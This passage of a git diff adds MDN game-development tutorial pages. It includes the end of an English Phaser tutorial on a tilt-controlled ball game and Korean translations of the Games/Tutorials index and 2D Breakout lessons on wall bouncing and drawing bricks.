+ <li><code>finishLevel</code> loads a new level when the current level is completed, or finished the game if the final level is completed.</li>
+</ul>
+
+<h4 id="Adding_the_ball_and_its_motion_mechanics">Adding the ball and its motion mechanics</h4>
+
+<p>First, let’s go to the <code>create()</code> function, initialize the ball object itself and assign a few properties to it:</p>
+
+<pre class="brush: js">this.ball = this.add.sprite(this.ballStartPos.x, this.ballStartPos.y, 'ball');
+this.ball.anchor.set(0.5);
+this.physics.enable(this.ball, Phaser.Physics.ARCADE);
+this.ball.body.setSize(18, 18);
+this.ball.body.bounce.set(0.3, 0.3);</pre>
+
+<p>Here we’re adding a sprite at the given place on the screen and using the <code>'ball'</code> image from the loaded graphic assets. We’re also setting the anchor for any physics calculations to the middle of the ball, enabling the Arcade physics engine (which handles all the physics for the ball movement), and setting the size of the body for the collision detection. The <code>bounce</code> property is used to set the bounciness of the ball when it hits the obstacles.</p>
+
+<h4 id="Controlling_the_ball">Controlling the ball</h4>
+
+<p>It’s cool to have the ball ready to be thrown around in the play area, but it’s also important to be able to actually move it! Now we will add the ability to control the ball with the keyboard on the desktop devices, and then we will move to the implementation of the Device Orientation API. Let’s focus on the keyboard first by adding the following to the <code>create()</code> function :</p>
+
+<pre class="brush: js">this.keys = this.game.input.keyboard.createCursorKeys();</pre>
+
+<p>As you can see there’s a special Phaser function called <code>createCursorKeys()</code>, which will give us an object with event handlers for the four arrow keys to play with: up, down, left and right.</p>
+
+<p>Next we will add the following code to the <code>update()</code> function, so it will be fired on every frame. The <code>this.keys</code> object will be checked against player input, so the ball can react accordingly with the predefined force:</p>
+
+<pre class="brush: js">if(this.keys.left.isDown) {
+    this.ball.body.velocity.x -= this.movementForce;
+}
+else if(this.keys.right.isDown) {
+    this.ball.body.velocity.x += this.movementForce;
+}
+if(this.keys.up.isDown) {
+    this.ball.body.velocity.y -= this.movementForce;
+}
+else if(this.keys.down.isDown) {
+    this.ball.body.velocity.y += this.movementForce;
+}</pre>
+
+<p>That way we can check which key is pressed at the given frame and apply the defined force to the ball, thus increase the velocity in the proper direction.</p>
+
+<h4 id="Implementing_the_Device_Orientation_API">Implementing the Device Orientation API</h4>
+
+<p>Probably the most interesting part of the game is its usage of the <strong>Device Orientation API</strong> for control on mobile devices. Thanks to this you can play the game by tilting the device in the direction you want the ball to roll. Here’s the code from the <code>create()</code> function responsible for this:</p>
+
+<pre class="brush: js">window.addEventListener("deviceorientation", this.handleOrientation, true);</pre>
+
+<p>We’re adding an event listener to the <code>"deviceorientation"</code> event and binding the <code>handleOrientation</code> function which looks like this:</p>
+
+<pre class="brush: js">handleOrientation: function(e) {
+    var x = e.gamma;
+    var y = e.beta;
+    Ball._player.body.velocity.x += x;
+    Ball._player.body.velocity.y += y;
+},</pre>
+
+<p>The more you tilt the device, the more force is applied to the ball, therefore the faster it moves (the velocity is higher).</p>
+
+<p><img alt="An explanation of the X, Y and Z axes of a Flame mobile device with the Cyber Orb game demo on the screen." src="https://mdn.mozillademos.org/files/10369/cyber-orb-flame-orientation.png" style="height: 480px; width: 620px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: To find more out about implementing device orientation and what raw code would look like, read <a href="/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Keep it level: responding to device orientation changes</a>.</p>
+</div>
+
+<h4 id="Adding_the_hole">Adding the hole</h4>
+
+<p>The main objective in the game is to move the ball from the starting position to the ending position: a hole in the ground. Implementation looks very similar to the part where we created the ball, and it's also added in the <code>create()</code> function of our <code>Game</code> state:</p>
+
+<pre class="brush: js">this.hole = this.add.sprite(Ball._WIDTH*0.5, 90, 'hole');
+this.physics.enable(this.hole, Phaser.Physics.ARCADE);
+this.hole.anchor.set(0.5);
+this.hole.body.setSize(2, 2);</pre>
+
+<p>The difference is that our hole’s body will not move when we hit it with the ball and will have the collision detection calculated (which will be discussed later on in this article).</p>
+
+<h4 id="Building_the_block_labyrinth">Building the block labyrinth</h4>
+
+<p>To make the game harder and more interesting we will add some obstacles between the ball and the exit. We could use a level editor, but for the sake of this tutorial let's create something on our own.</p>
+
+<p>To hold the block information we'll use a level data array: for each block we'll store the top and left absolute positions in pixels (<code>x</code> and <code>y</code>) and the type of the block — horizontal or vertical (<code>t</code> with the <code>'w'</code> value meaning width and <code>'h'</code> meaning height). Then, to load the level we'll parse the data and show the blocks specific for that level. In the <code>initLevels</code> function we have:</p>
+
+<pre class="brush: js">this.levelData = [
+    [
+        { x: 96, y: 224, t: 'w' }
+    ],
+    [
+        { x: 72, y: 320, t: 'w' },
+        { x: 200, y: 320, t: 'h' },
+        { x: 72, y: 150, t: 'w' }
+    ],
+    // ...
+];</pre>
+
+<p>Every array element holds a collection of blocks with an <code>x</code> and <code>y</code> position and <code>t</code> value for each. After <code>levelData</code>, but still in the <code>initLevels</code> function, we're adding the blocks into an array in the <code>for</code> loop using some of the framework-specific methods:</p>
+
+<pre class="brush: js">for(var i=0; i&lt;this.maxLevels; i++) {
+    var newLevel = this.add.group();
+    newLevel.enableBody = true;
+    newLevel.physicsBodyType = Phaser.Physics.ARCADE;
+    for(var e=0; e&lt;this.levelData[i].length; e++) {
+        var item = this.levelData[i][e];
+        newLevel.create(item.x, item.y, 'element-'+item.t);
+    }
+    newLevel.setAll('body.immovable', true);
+    newLevel.visible = false;
+    this.levels.push(newLevel);
+}</pre>
+
+<p>First, <code>add.group()</code> is used to create a new group of items. Then the <code>ARCADE</code> body type is set for that group to enable physics calculations. The <code>newLevel.create</code> method creates new items in the group with starting left and top positions, and its own image. If you don't want to loop through the list of items again to add a property to every single one explicitly, you can use <code>setAll</code> on a group to apply it to all the items in that group.</p>
+
+<p>The objects are stored in the <code>this.levels</code> array, which is by default invisible. To load specific levels, we make sure the previous levels are hidden, and show the current one:</p>
+
+<pre class="brush: js">showLevel: function(level) {
+    var lvl = level | this.level;
+    if(this.levels[lvl-2]) {
+        this.levels[lvl-2].visible = false;
+    }
+    this.levels[lvl-1].visible = true;
+}</pre>
+
+<p>Thanks to that the game gives the player a challenge - now he have to roll the ball across the play area and guide it through the labyrinth built from the blocks. It's just an example of loading the levels, and there are only 5 of them just to showcase the idea, but you can work on expanding that on your own.</p>
+
+<h4 id="Collision_detection">Collision detection</h4>
+
+<p>At this point we've got the ball that is controlled by the player, the hole to reach and the obstacles blocking the way. There’s a problem though — our game doesn’t have any collision detection yet, so nothing happens when the ball hits the blocks — it just goes through. Let’s fix it! The good news is that the framework will take care of calculating the collision detection, we only have to specify the colliding objects in the <code>update()</code> function:</p>
+
+<pre class="brush: js">this.physics.arcade.collide(this.ball, this.borderGroup, this.wallCollision, null, this);
+this.physics.arcade.collide(this.ball, this.levels[this.level-1], this.wallCollision, null, this);</pre>
+
+<p>This will tell the framework to execute the <code>wallCollision</code> function when the ball hits any of the walls. We can use the <code>wallCollision</code> function to add any functionality we want like playing the bounce sound and implementing the <strong>Vibration API</strong>.</p>
+
+<h4 id="Adding_the_sound">Adding the sound</h4>
+
+<p>Among the preloaded assets there was an audio track (in various formats for browser compatibility), which we can use now. It has to be defined in the <code>create()</code> function first:</p>
+
+<pre class="brush: js">this.bounceSound = this.game.add.audio('audio-bounce');</pre>
+
+<p>If the status of the audio is <code>true</code> (so the sounds in the game are enabled), we can play it in the <code>wallCollision</code> function:</p>
+
+<pre class="brush: js">if(this.audioStatus) {
+    this.bounceSound.play();
+}</pre>
+
+<p>That's all — loading and playing the sounds is easy with Phaser.</p>
+
+<h4 id="Implementing_the_Vibration_API">Implementing the Vibration API</h4>
+
+<p>When collision detection works as expected let's add some special effects with the help from the Vibration API.</p>
+
+<p><img alt="A visualization of the vibrations of a Flame mobile device with the Cyber Orb game demo on the screen." src="https://mdn.mozillademos.org/files/10371/cyber-orb-flame-vibration.png" style="height: 480px; width: 620px;"></p>
+
+<p>The best way to use it in our case is to vibrate the phone every time the ball hits the walls — inside the <code>wallCollision</code> function:</p>
+
+<pre class="brush: js">if("vibrate" in window.navigator) {
+    window.navigator.vibrate(100);
+}</pre>
+
+<p>If the <code>vibrate</code> method is supported by the browser and available in the <code>window.navigator</code> object, vibrate the phone for 100 miliseconds. That's it!</p>
+
+<h4 id="Adding_the_elapsed_time">Adding the elapsed time</h4>
+
+<p>To improve replayability and give players the option to compete with each other we will store the elapsed time — players can then try to improve on their best game completion time. To implement this we have to create a variable for storing the actual number of seconds elapsed from the start of the game, and to show it for the player in the game. Let’s define the variables in the <code>create</code> function first:</p>
+
+<pre class="brush: js">this.timer = 0; // time elapsed in the current level
+this.totalTimer = 0; // time elapsed in the whole game</pre>
+
+<p>Then, right after that, we can initialize the necessary text objects to display this information to the user:</p>
+
+<pre class="brush: js">this.timerText = this.game.add.text(15, 15, "Time: "+this.timer, this.fontBig);
+this.totalTimeText = this.game.add.text(120, 30, "Total time: "+this.totalTimer, this.fontSmall);</pre>
+
+<p>We’re defining the top and left positions of the text, the content that will be shown and the styling applied to the text. We have this printed out on the screen, but it would be good to update the values every second:</p>
+
+<pre class="brush: js">this.time.events.loop(Phaser.Timer.SECOND, this.updateCounter, this);</pre>
+
+<p>This loop, also in the <code>create</code> function, will execute the <code>updateCounter</code> function every single second from the beginning of the game, so we can apply the changes accordingly. This is how the complete <code>updateCounter</code> function looks:</p>
+
+<pre class="brush: js">updateCounter: function() {
+    this.timer++;
+    this.timerText.setText("Time: "+this.timer);
+    this.totalTimeText.setText("Total time: "+(this.totalTimer+this.timer));
+},</pre>
+
+<p>As you can see we’re incrementing the <code>this.timer</code> variable and updating the content of the text objects with the current values on each iteration, so the player sees the elapsed time.</p>
+
+<h4 id="Finishing_the_level_and_the_game">Finishing the level and the game</h4>
+
+<p>The ball is rolling on the screen, the timer is working and we have the hole created that we have to reach. Now let’s set up the possibility to actually finish the level! The following line in the <code>update()</code> function adds a listener that fires when the ball gets to the hole.</p>
+
+<pre class="brush: js">this.physics.arcade.overlap(this.ball, this.hole, this.finishLevel, null, this);</pre>
+
+<p>This works similarly to the <code>collide</code> method explained earlier. When the ball overlaps with the hole (instead of colliding), the <code>finishLevel</code> function is executed:</p>
+
+<pre class="brush: js">finishLevel: function() {
+    if(this.level &gt;= this.maxLevels) {
+        this.totalTimer += this.timer;
+        alert('Congratulations, game completed!\nTotal time of play: '+this.totalTimer+' seconds!');
+        this.game.state.start('MainMenu');
+    }
+    else {
+        alert('Congratulations, level '+this.level+' completed!');
+        this.totalTimer += this.timer;
+        this.timer = 0;
+        this.level++;
+        this.timerText.setText("Time: "+this.timer);
+        this.totalTimeText.setText("Total time: "+this.totalTimer);
+        this.levelText.setText("Level: "+this.level+" / "+this.maxLevels);
+        this.ball.body.x = this.ballStartPos.x;
+        this.ball.body.y = this.ballStartPos.y;
+        this.ball.body.velocity.x = 0;
+        this.ball.body.velocity.y = 0;
+        this.showLevel();
+    }
+},</pre>
+
+<p>If the current level is equal to the maximum number of levels (in this case 5), then the game is finished — you'll get a congratulations message along with the number of seconds elapsed through the whole game, and a button to press that takes you to the main menu.</p>
+
+<p>If the current level is lower than 5, all the neccesary variables are reset and the next level is loaded.</p>
+
+<h2 id="Ideas_for_new_features">Ideas for new features</h2>
+
+<p>This is merely a working demo of a game that could have lots of additional features. We can for example add power-ups to collect along the way that will make our ball roll faster, stop the timer for a few seconds or give the ball special powers to go through obstacles. There’s also room for the traps which will slow the ball down or make it more difficult to reach the hole. You can create more levels of increasing difficulty. You can even implement achievements, leaderboards and medals for different actions in the game. There are endless possibilities — they only depend on your imagination.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>I hope this tutorial will help you dive into 2D game development and inspire you to create awesome games on your own. You can play the demo game <a href="https://orb.enclavegames.com/">Cyber Orb</a> and check out its <a href="https://github.com/EnclaveGames/Cyber-Orb">source code on GitHub</a>.</p>
+
+<p>HTML5 gives us raw tools, the frameworks built on top of it are getting faster and better, so now is a great time get into web game development. In this tutorial we used Phaser, but there are a number of <a href="http://html5devstarter.enclavegames.com/#frameworks">other frameworks</a> worth considering too like <a href="http://impactjs.com/">ImpactJS</a>, <a href="https://www.scirra.com/construct2">Construct 2</a> or <a href="http://playcanvas.com/">PlayCanvas</a> — it depends on your preferences, coding skills (or lack thereof), project scale, requirements and other aspects. You should check them all out and decide which one suits your needs best.</p>
diff --git a/files/ko/games/tutorials/index.html b/files/ko/games/tutorials/index.html
new file mode 100644
index 0000000000..b77f74414e
--- /dev/null
+++ b/files/ko/games/tutorials/index.html
@@ -0,0 +1,28 @@
+---
+title: Tutorials
+slug: Games/Tutorials
+tags:
+  - Canvas
+  - Games
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - Workflows
+  - 게임
+  - 자바스크립트
+  - 캔버스
+translation_of: Games/Tutorials
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>이 페이지에는 다양한 형태의 웹 게임을 효과적으로 만들기 위해 중요한 여러가지 튜토리얼들을 포함하고 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">순수 JavaScript를 사용한 2D 게임</a></dt>
+ <dd>이 튜토리얼을 통해 여러분은 순수 자바스크립트를 활용하여 간단한 게임을 만들어볼 수 있습니다. 렌더링, 이미지 그리기, 충돌 감지하기, 동작 원리, 승리/패배 구성하기 등 게임을 만들기 위해 필요한 기본적인 요소들을 구현하기 위해 {{htmlelement("canvas")}} 사용법을 배우게 될 것입니다.</dd>
+ <dt><a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">Phaser를 사용한 2D 게임</a></dt>
+ <dd>이 튜토리얼을 통해 여러분은 위 튜토리얼과 똑같은 게임을 만들어 볼 수 있을 것 입니다. 다만 이번에는 HTML5 게임 프레임워크인 <a class="external external-icon" href="http://phaser.io/">Phaser</a>를 이용하여 만들어 볼 것입니다. 게임을 만들기 위해 필요한 기본적인 요소들을 프레임워크를 활용하여 만드는 방법을 배우게 될 것입니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">기기 수직/수평 기능을 이용한 2D 주사위 게임</a></dt>
+ <dd>이 튜토리얼에서는 {{htmlelement("canvas")}} 가 제공하는 충돌 감지, 모양 놓기같은 기본적인 기능을 포함한 HTML5 2D 주사위 게임을 만들어 볼 것입니다. <a href="/ko/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Device Orientation</a> 기능과 <a href="/ko/docs/Web/Guide/API/Vibration">Vibration</a><strong> </strong>기능을 활용한 모바일 게임이며 the <a href="http://phaser.io/">Phaser</a>프레임워크로 만들 것입니다.</dd>
+</dl>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/bounce_off_the_walls/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/bounce_off_the_walls/index.html
new file mode 100644
index 0000000000..2df00b91b9
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/bounce_off_the_walls/index.html
@@ -0,0 +1,99 @@
+---
+title: 공을 벽에 튕기기
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls")}}</p>
+
+<div class="summary">
+<p>이 글은 <a href="/ko/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas 튜토리얼</a>에 포함된 10단계 중 3단계 글입니다. 이 글을 다 읽고 난 뒤 완성된 소스코드는 <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson03.html">Gamedev-Canvas-workshop/lesson3.html</a>에서 확인해볼 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">공이 움직이는 걸 보니 기쁩니다! 하지만 기쁨을 즐길 틈도 없이 공이 스크린 밖으로 사라져버리네요. 이 문제를 해결하기 위해 공이 캔버스의 4군데 모서리에 다달았을 때 튕겨나올 수 있도록 간단한 충돌 감지 기능(더 자세한 내용은 <a href="/ko/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">다음 글</a>에서 다시 설명할 예정입니다)을 구현해야 합니다.</span></p>
+
+<h2 id="간단한_충돌_감지">간단한 충돌 감지</h2>
+
+<p>충돌을 감지하기 위해서는 공이 벽에 닿았는지를 확인하고 그에 따라 움직이는 방향을 수정해야 합니다.</p>
+
+<p>보다 계산을 쉽게 하기 위하여 <code>ballRadius</code> 변수를 만든 뒤 원의 반지름 값을 대입하여 계산하는데 사용합니다. 아래의 코드를 기존의 변수들 아래에 삽입하세요:</p>
+
+<pre class="brush: js">var ballRadius = 10;</pre>
+
+<p>이제<code>drawBall()</code> func기능 안에 볼을 그리는 코드를 아래와 같이 수정하세요:</p>
+
+<pre class="brush: js">ctx.arc(x, y, ballRadius, 0, Math.PI*2);</pre>
+
+<h3 id="위_아래_방향으로_튕기기">위 아래 방향으로 튕기기</h3>
+
+<p>캔버스에는 총 4개의 모서리 즉, 4개의 벽이 있습니다. 일단 상단의 벽에 집중해 보겠습니다. 공을 그리는 매 프레임마다 우리는 볼이 상단 모서리에 닿았는지 확인해야합니다 — 닿았다면 볼이 움직이는 방향을 반대로 바꾸어 캔버스 안에 여전히 공이 보이도록 만들어주어야 합니다. 캔버스 내 위치 구조는 좌상단으로 부터 시작하는 것을 잊지마세요:</p>
+
+<pre class="brush: js">if(y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>만약 공의 위치에서 <code>y</code>값이 0보다 작은 경우 음/양수를 반대로 바꾸어주어 y 축의 방향을 바꾸어 줍니다. 공이 매 프레임마다 2픽셀만큼 움직이고 있었다면, 이제는 매 프레임마다 2픽셀만큼 "아래 방향으로" 이동할 것입니다.</p>
+
+<p>위 코드는 상단 모서리를 튕기도록 해주기 때문에 이번엔 하단 모서리를 튕기도록 해보겠습니다:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height) {
+    dy = -dy;
+}</pre>
+
+<p>공의 위치에서 y값이 캔버스의 높이보다 큰 경우(좌상단으로부터 y값을 측정하기 때문에 상단모서리에서의 y값은 0, 하단모서리에서의 y값은 480, 즉 캔버서의 높이값임을 잊지마세요) y축 움직임의 반대 방향으로 튕겨냅니다.</p>
+
+<p>위의 두가지 코드를 하나로 합칠 수 있습니다:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>둘 중 하나의 조건이라도 만족한다면, 공의 방향은 반대로 바뀝니다.</p>
+
+<h3 id="좌우로_튕겨내기">좌우로 튕겨내기</h3>
+
+<p>우리는 방금 상, 하단 모서리를 인식했으므로 이번엔 좌우 모서리를 생각해봅시다. 거의 같은 문제이므로 우리는 y 대신 x값을 대입하여 그대로 반복해주기만 하면 됩니다:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width || x + dx &lt; 0) {
+    dx = -dx;
+}
+
+if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>이 후 위 코드를 draw() 함수블럭이 끝나는 중괄호 바로 전에 삽입합니다.</p>
+
+<h3 id="공이_여전히_벽_밖으로_사라져요!">공이 여전히 벽 밖으로 사라져요!</h3>
+
+<p>코드를 테스트해보세요. — 아마 캔버스 모서리에서 튕겨나오는 볼이 인상적이지 않나요? 하지만 또 다른 문제가 생겼습니다. — 공이 벽을 튕겨나와 방향이 바뀌기 전에 살짝 벽 안으로 숨어버리네요:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10432/ball-in-wall.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<p>이 문제는 우리가 충돌을 감지할 때 그 기준을 공의 원점에 두고 계산했지만, 원의 둘레를 기준으로 계산을 해야 하기 때문입니다. 벽에 공이 절반쯤 지난 뒤가 아니라 닿자마자 튕겨나와야 합니다. 이에 맞게 코드를 조금 수정해봅시다. 여러분이 삽입한 코드를 아래와 같이 수정해보세요:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width-ballRadius || x + dx &lt; ballRadius) {
+    dx = -dx;
+}
+if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
+    dy = -dy;
+}</pre>
+
+<p>공의 원점과 벽 사이의 거리가 공의 반지름과 같아졌을 때 공의 움직임이 바뀌도록 만들었습니다. 이제야 볼이 정확히 튕겨나오고 있네요.</p>
+
+<h2 id="여러분의_코드를_비교해보세요">여러분의 코드를 비교해보세요</h2>
+
+<p>자, 다시 여러분이 작성한 코드를 완성된 코드와 비교해보고 게임을 실행해보세요:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}</p>
+
+<div class="note">
+<p><strong>Exercise</strong>: 공이 벽에 부딪힐 때마다 공의 색을 무작위로 변화시켜보세요.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이제 우리는 공이 게임판 안에서 어디서 어떻게 움직이고 있는지 파악했습니다. 네번째 챕터에서는 조작 가능한 배드를 구현해볼 것입니다. — <a href="/ko/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">패드와 키보드 조작</a>.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/build_the_brick_field/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/build_the_brick_field/index.html
new file mode 100644
index 0000000000..9560da25e9
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/build_the_brick_field/index.html
@@ -0,0 +1,112 @@
+---
+title: 벽돌 만들기
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection")}}</p>
+
+<div class="summary">
+<p>이번 단계는 <a href="/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>의 여섯 번째 학습입니다. <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson06.html">Gamedev-Canvas-workshop/lesson6.html</a>에서 이번 학습의 소스코드를 확인할 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">게임플레이 원리를 수정한 후에, 우리는 게임에서 패배할 수 있게 되었습니다. 이것은 실제 게임에 보다 가까운 느낌이기 때문에 훌륭합니다. 하지만 벽과 패들에 공이 튀기는 것 말고 할 수 있는 것이 없기 때문에 금방 지루해집니다. 벽돌깨기 게임에서 진정으로 필요로 한 것은 공으로 파괴할 벽돌입니다. 이 것이 지금 우리가 만들 것입니다!</span></p>
+
+<h2 id="벽돌에_대한_변수_설정하기">벽돌에 대한 변수 설정하기</h2>
+
+<p>이번 학습의 모든 목표는 벽돌들을 위한 코드를 2차원 배열로 동작하는 반복문을 통해 제공하는 것입니다. 그러나 먼저 우리는 가로, 세로, 행, 열 등 벽돌에 대한 값을 정의할 몇몇 변수들을 설정해야 합니다. 지난 학습에서 작성한 코드에 아래 코드를 추가해봅시다.</p>
+
+<pre class="brush: js">var brickRowCount = 3;
+var brickColumnCount = 5;
+var brickWidth = 75;
+var brickHeight = 20;
+var brickPadding = 10;
+var brickOffsetTop = 30;
+var brickOffsetLeft = 30;</pre>
+
+<p>우리는 벽돌 배열 행과 열의 수, 그것들의 가로, 세로길이, 각 벽돌이 서로 닿지 않을 정도의 간격과 벽돌이 캔버스의 모서리에 닿지 않게 할 오프셋 변수들을 정의했습니다.</p>
+
+<p>우리는 2차원 배열에 벽돌을 담았습니다. 배열은 열 <code>c</code>, 행 <code>r</code>, 그리고 배열의 각 객체엔 화면에 벽돌을 그릴 위치를 나타낼 <code>x</code>, <code>y</code> 위치를 가지고 있습니다. 위에서 변수를 선언한 코드 뒤에 아래 코드를 추가해봅시다.</p>
+
+<pre class="brush: js">var bricks = [];
+for(var c=0; c&lt;brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r&lt;brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0 };
+    }
+}</pre>
+
+<p>위 코드는 행과 열 수만큼 반복되면서 새로운 벽돌을 만듭니다. 각 벽돌 객체는 이후에 충돌감지에 사용됩니다.</p>
+
+<h2 id="벽돌을_그리는_방법">벽돌을 그리는 방법</h2>
+
+<p>이제 배열안의 모든 벽돌을 반복해서 화면에 그려줄 함수를 만들어봅시다. 코드는 아래와 같습니다.</p>
+
+<pre class="brush: js">function drawBricks() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            bricks[c][r].x = 0;
+            bricks[c][r].y = 0;
+            ctx.beginPath();
+            ctx.rect(0, 0, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}</pre>
+
+<p>다시 행, 열 반복을 통해 각 벽돌의 <code>x</code>, <code>y</code> 값을 설정하고, 캔버스에 <code>brickWidth</code> * <code>brickHeight</code> 크기의 벽돌들을 그립니다. 문제는 모든 벽돌들이 좌표 (0, 0) 위치해있다는 것입니다. 우리는 약간의 연산을 통해 각 벽돌의 <code>x</code>, <code>y</code> 값을 계산해야 합니다.</p>
+
+<pre class="brush: js">var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;</pre>
+
+<p> </p>
+
+<p><code>brickX</code>는 <code>brickWidth</code> + <code>brickPadding</code>에 <code>c</code>를 곱하고, <code>brickOffsetLeft</code>를 더한 값입니다. <code>brickY</code>는 변수 <code>r</code>, <code>brickHeight</code>, <code>brickOffsetTop</code> 변수를 사용한다는 것을 제외하곤 동일합니다. 이제 모든 벽돌들을 올바른 위치에, 알맞은 간격을 두고, 캔버스 모서리로부터 오프셋 값만큼의 거리를 둔 상태로 그릴수 있게되었습니다.</p>
+
+<p><code>brickX</code>와 <code>brickY</code> 값을 (0, 0) 대신에 좌표 값으로 할당한 후에 <code>drawBricks</code> 함수의 마지막 버전은 아래와 같을 것입니다. 이 코드는 <code>drawpaddle</code> 함수 아래에 추가해봅시다.</p>
+
+<pre class="brush: js">function drawBricks() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+            var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+            bricks[c][r].x = brickX;
+            bricks[c][r].y = brickY;
+            ctx.beginPath();
+            ctx.rect(brickX, brickY, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}</pre>
+
+<h2 id="실제_벽돌을_그리기">실제 벽돌을 그리기</h2>
+
+<p>이 학습에서 마지막으로 할 일은 <code>drawBrick</code>함수를 호출하는 코드를 <code>draw</code>함수 어딘가에, 되도록이면 시작하는 부분에, 캔버스를 초기화하는 부분과 공을 그리는 사이에 추가하는 것입니다.  아래 코드를 <code>drawBall()</code> 코드 위에 추가해봅시다.</p>
+
+<pre class="brush: js">drawBricks();
+</pre>
+
+<h2 id="코드_비교해보기">코드 비교해보기</h2>
+
+<p>이 부분에서 게임은 조금 더 흥미로워졌습니다.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/t1zqmzLp/","","395")}}</p>
+
+<div class="note">
+<p>연습하기: 행과 열의 수를 바꿔서 벽돌의 수를 변경해보거나, 위치를 변경해봅시다.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이제 우리에겐 벽돌이 있습니다! 하지만 공은 벽돌들과의 반응이 없습니다. 우리는 다음 단계에서 이 문제에 대해 다룰 것입니다: <a href="/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection">충돌 감지</a></p>
+
+<p> </p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection")}}</p>
+
+<p> </p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/collision_detection/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/collision_detection/index.html
new file mode 100644
index 0000000000..f312374938
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/collision_detection/index.html
@@ -0,0 +1,128 @@
+---
+title: 충돌 감지
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection
